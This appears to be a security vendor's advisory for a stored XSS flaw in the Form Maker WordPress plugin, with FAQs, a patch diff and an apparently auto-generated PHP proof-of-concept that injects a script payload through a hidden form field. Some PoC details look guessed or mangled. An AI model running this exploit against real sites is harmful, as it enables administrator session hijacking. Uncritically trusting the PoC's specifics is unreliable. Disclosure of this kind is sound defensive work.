What is CVE-2026-1058?

CVE-2026-1058 is a high-severity vulnerability in the Form Maker plugin for WordPress, specifically versions up to and including 1.15.35. It allows unauthenticated attackers to exploit stored cross-site scripting (XSS) via hidden field values, potentially executing arbitrary JavaScript in the context of an administrator’s session.

How does this vulnerability work?

The vulnerability arises from insufficient output escaping when displaying hidden field values in the admin submissions list. Attackers can submit forms containing HTML entity-encoded JavaScript payloads, which are decoded and executed when an administrator views the submissions, leading to potential session hijacking and site compromise.

Who is affected by CVE-2026-1058?

Any WordPress site using the Form Maker plugin version 1.15.35 or earlier is at risk. Administrators who view form submissions are particularly vulnerable, as the exploit requires access to the admin submissions view.

How can I check if my site is vulnerable?

To determine if your site is affected, check the version of the Form Maker plugin installed. If it is version 1.15.35 or earlier, your site is vulnerable and should be updated immediately.

What should I do to fix this vulnerability?

Upgrade the Form Maker plugin to version 1.15.36 or later, where the vulnerability has been patched. Regularly update all plugins and themes to their latest versions to mitigate security risks.

What does the CVSS score of 7.1 indicate?

The CVSS score of 7.1 indicates a high level of severity, suggesting that successful exploitation could lead to significant impacts such as unauthorized access and control over the WordPress site. Administrators should treat this vulnerability with urgency.

What is stored cross-site scripting (XSS)?

Stored XSS is a type of web vulnerability where an attacker can inject malicious scripts into a web application, which are then stored on the server and executed in the browser of users who access the affected site. This can lead to data theft and unauthorized actions.

How does the proof of concept demonstrate the vulnerability?

The proof of concept illustrates how an attacker can craft a form submission with a hidden field containing a malicious payload. When an administrator views this submission, the payload is executed due to the lack of proper output escaping, demonstrating the practical implications of the vulnerability.

What are the potential consequences of exploitation?

If exploited, attackers could execute arbitrary JavaScript in the context of an administrator’s session, leading to session hijacking, privilege escalation, or installation of backdoors. This could compromise the entire WordPress site.

What additional security measures can I take?

In addition to updating the plugin, consider implementing web application firewalls, content security policies, and regular security audits. Educate users about the risks of XSS and encourage safe browsing practices.

Is there a way to mitigate the risk if I cannot update immediately?

If immediate updating is not possible, restrict access to the admin submissions view to trusted users only. Additionally, monitor user activity and submissions for any suspicious behavior.

Where can I find more information about this vulnerability?

Further details about CVE-2026-1058 can be found in the official CVE database, security advisories from WordPress, and the plugin’s changelog. Staying informed through security blogs and forums can also provide valuable insights.

Atomic Edge Proof of Concept automated generator using AI diff analysis

Published : March 18, 2026

CVE-2026-1058: Form Maker by 10Web <= 1.15.35 – Unauthenticated Stored Cross-Site Scripting via Hidden Field (form-maker)

CVE ID CVE-2026-1058

Plugin form-maker

Severity High (CVSS 7.1)

CWE 79

Vulnerable Version 1.15.35

Patched Version 1.15.36

Disclosed February 1, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1058:
This vulnerability is an unauthenticated stored cross-site scripting (XSS) flaw in the Form Maker WordPress plugin. The vulnerability affects the plugin’s admin submissions view, allowing attackers to inject malicious scripts that execute when administrators view form submissions. The CVSS score of 7.1 reflects the high impact on administrative users who control the WordPress site.

Atomic Edge research identifies the root cause in the file form-maker/admin/views/Submissions_fm.php at line 758. The plugin processes hidden field values with the html_entity_decode() function but fails to apply proper output escaping. The vulnerable code directly echoes the decoded user input without sanitization. This occurs specifically when the field type is ‘type_hidden’ in the submissions display logic.

The exploitation method involves submitting a form containing a hidden field with an HTML entity-encoded JavaScript payload. Attackers can target any form created with the plugin. The payload uses entities like <script>alert(document.cookie)</script> which the html_entity_decode() function converts back to executable JavaScript. When an administrator views the submissions list in /wp-admin/admin.php?page=submissions_fm, the malicious script executes in their browser session.

The patch adds esc_html() wrapper around the html_entity_decode() output at line 758. This change ensures that any HTML entities decoded from user input are properly escaped before being rendered in the browser. The patch also adds esc_html() to the text field output at line 768 for consistency. The version numbers in form-maker.php update from 1.15.35 to 1.15.36 to reflect the security fix.

Successful exploitation allows attackers to execute arbitrary JavaScript in the context of an administrator’s WordPress session. This can lead to complete site compromise through session hijacking, privilege escalation, backdoor installation, or content manipulation. The stored nature means a single malicious form submission affects all administrators who view the submissions page until the payload is removed.

Differential between vulnerable and patched code

Code Diff

--- a/form-maker/admin/views/Submissions_fm.php
+++ b/form-maker/admin/views/Submissions_fm.php
@@ -756,7 +756,7 @@
 												<?php
 												}
 												elseif ( $sorted_label_types[$h] == 'type_hidden' ) {
-												  echo html_entity_decode($element_value);
+												  echo esc_html(html_entity_decode($element_value));
 												}
 												else {
 												  /* Check for Stripe case */
@@ -765,7 +765,7 @@
                               <button class="wd-button button-primary" onclick="change_stripe_status(this); return false;"><?php _e('Capture', WDFMInstance(self::PLUGIN)->prefix); ?></button><img src="<?php echo WDFM()->plugin_url ?>/images/loading.gif" class="fm-capture-loading fm-hidden">
 													<?php
 													} else { ?>
-															<p><?php echo $textdata['text']; ?></p>
+															<p><?php echo esc_html($textdata['text']); ?></p>
 														<?php
 													}
 												}
--- a/form-maker/form-maker.php
+++ b/form-maker/form-maker.php
@@ -3,7 +3,7 @@
  * Plugin Name: Form Maker
  * Plugin URI: https://10web.io/plugins/wordpress-form-maker/?utm_source=form_maker&utm_medium=free_plugin
  * Description: This plugin is a modern and advanced tool for easy and fast creating of a WordPress Form. The backend interface is intuitive and user friendly which allows users far from scripting and programming to create WordPress Forms.
- * Version: 1.15.35
+ * Version: 1.15.36
  * Author: 10Web Form Builder Team
  * Author URI: https://10web.io/plugins/?utm_source=form_maker&utm_medium=free_plugin
  * License: GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
@@ -26,8 +26,8 @@
   public $plugin_url = '';
   public $front_urls = array();
   public $main_file = '';
-  public $plugin_version = '1.15.35';
-  public $db_version = '2.15.35';
+  public $plugin_version = '1.15.36';
+  public $db_version = '2.15.36';
   public $menu_postfix = '_fm';
   public $plugin_postfix = '';
   public $handle_prefix = 'fm';
--- a/form-maker/frontend/models/form_maker.php
+++ b/form-maker/frontend/models/form_maker.php
@@ -1852,10 +1852,11 @@
                         );
                       }
                       if ( $form->save_uploads == 1 ) {
-                        if ( !move_uploaded_file( $fileTemp, $upload_dir[ 'basedir' ] . '/' . $destination . '/' . $fileName ) ) {
-                          $this->run_stripe_cancel_hook( $form, $stripeToken, $id );
-                          return array( 'error' => true, 'group_id' => $group_id, 'message' => addslashes( __( 'Error, file cannot be moved.', WDFMInstance(self::PLUGIN)->prefix ) ) );
-                        }
+                        $file_mime = mime_content_type($fileTemp);
+					    if ( $file_mime === 'image/svg+xml' || !move_uploaded_file( $fileTemp, $upload_dir[ 'basedir' ] . '/' . $destination . '/' . $fileName ) ) {
+						  $this->run_stripe_cancel_hook( $form, $stripeToken, $id );
+						  return array( 'error' => true, 'group_id' => $group_id, 'message' => addslashes( __( 'Error, file cannot be moved.', WDFMInstance(self::PLUGIN)->prefix ) ) );
+					    }
                         $value .= $upload_dir[ 'baseurl' ] . '/' . $destination . '/' . $fileName . '*@@url@@*';
                         $files[ 'tmp_name' ][ $file_key ] = '/' . $destination . '/' . $fileName;
                         $temp_file = array(

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1058 - Form Maker by 10Web <= 1.15.35 - Unauthenticated Stored Cross-Site Scripting via Hidden Field

<?php
/**
 * Proof of Concept for CVE-2026-1058
 * Targets Form Maker plugin <= 1.15.35
 * Creates a form submission with XSS payload in hidden field
 */

$target_url = 'http://vulnerable-wordpress-site.com'; // CHANGE THIS

// Step 1: Find a Form Maker form on the target site
// We need to identify a form ID. This script assumes we know the form ID.
// In real exploitation, attackers would spider the site to find forms.
$form_id = 1; // CHANGE THIS to actual form ID

// Step 2: Construct the malicious payload
// The payload uses HTML entities that will be decoded by html_entity_decode()
$payload = '<script>alert(document.cookie)</script>';
// Alternative payload for stealth: <img src=x onerror=alert(document.cookie)>

// Step 3: Prepare submission data
// Form Maker uses specific field naming conventions
$post_data = [
    'task' => 'form_maker_frontend_ajax',
    'action' => 'form_maker_frontend_ajax',
    'form_id' => $form_id,
    // Hidden field must be named according to Form Maker's convention
    // Typically: hidden_field_0, hidden_field_1, etc.
    'hidden_field_0' => $payload,
    // Include other required fields if the form has them
    'nonce_field' => 'bypassed', // Nonce may be required depending on configuration
];

// Step 4: Send the malicious submission
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Content-Type: application/x-www-form-urlencoded',
    'X-Requested-With: XMLHttpRequest'
]);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Step 5: Check if submission was successful
if ($http_code == 200 && strpos($response, 'success') !== false) {
    echo "[+] Payload injected successfully.n";
    echo "[+] When an administrator views form submissions at:n";
    echo "    $target_url/wp-admin/admin.php?page=submissions_fmn";
    echo "[+] The XSS payload will execute in their browser.n";
} else {
    echo "[-] Injection failed. HTTP Code: $http_coden";
    echo "[-] Response: $responsen";
    echo "[-] Possible reasons: Form ID incorrect, nonce required, or plugin not vulnerable.n";
}

?>

Frequently Asked Questions

What is CVE-2026-1058?
Overview of the vulnerability
CVE-2026-1058 is a high-severity vulnerability in the Form Maker plugin for WordPress, specifically versions up to and including 1.15.35. It allows unauthenticated attackers to exploit stored cross-site scripting (XSS) via hidden field values, potentially executing arbitrary JavaScript in the context of an administrator’s session.
How does this vulnerability work?
Mechanism of exploitation
The vulnerability arises from insufficient output escaping when displaying hidden field values in the admin submissions list. Attackers can submit forms containing HTML entity-encoded JavaScript payloads, which are decoded and executed when an administrator views the submissions, leading to potential session hijacking and site compromise.
Who is affected by CVE-2026-1058?
Identifying impacted users
Any WordPress site using the Form Maker plugin version 1.15.35 or earlier is at risk. Administrators who view form submissions are particularly vulnerable, as the exploit requires access to the admin submissions view.
How can I check if my site is vulnerable?
Verifying plugin version
To determine if your site is affected, check the version of the Form Maker plugin installed. If it is version 1.15.35 or earlier, your site is vulnerable and should be updated immediately.
What should I do to fix this vulnerability?
Steps for remediation
Upgrade the Form Maker plugin to version 1.15.36 or later, where the vulnerability has been patched. Regularly update all plugins and themes to their latest versions to mitigate security risks.
What does the CVSS score of 7.1 indicate?
Understanding risk levels
The CVSS score of 7.1 indicates a high level of severity, suggesting that successful exploitation could lead to significant impacts such as unauthorized access and control over the WordPress site. Administrators should treat this vulnerability with urgency.
What is stored cross-site scripting (XSS)?
Definition and implications
Stored XSS is a type of web vulnerability where an attacker can inject malicious scripts into a web application, which are then stored on the server and executed in the browser of users who access the affected site. This can lead to data theft and unauthorized actions.
How does the proof of concept demonstrate the vulnerability?
Understanding the exploitation process
The proof of concept illustrates how an attacker can craft a form submission with a hidden field containing a malicious payload. When an administrator views this submission, the payload is executed due to the lack of proper output escaping, demonstrating the practical implications of the vulnerability.
What are the potential consequences of exploitation?
Risks associated with the vulnerability
If exploited, attackers could execute arbitrary JavaScript in the context of an administrator’s session, leading to session hijacking, privilege escalation, or installation of backdoors. This could compromise the entire WordPress site.
What additional security measures can I take?
Enhancing overall site security
In addition to updating the plugin, consider implementing web application firewalls, content security policies, and regular security audits. Educate users about the risks of XSS and encourage safe browsing practices.
Is there a way to mitigate the risk if I cannot update immediately?
Temporary protective measures
If immediate updating is not possible, restrict access to the admin submissions view to trusted users only. Additionally, monitor user activity and submissions for any suspicious behavior.
Where can I find more information about this vulnerability?
Resources for further reading
Further details about CVE-2026-1058 can be found in the official CVE database, security advisories from WordPress, and the plugin’s changelog. Staying informed through security blogs and forums can also provide valuable insights.

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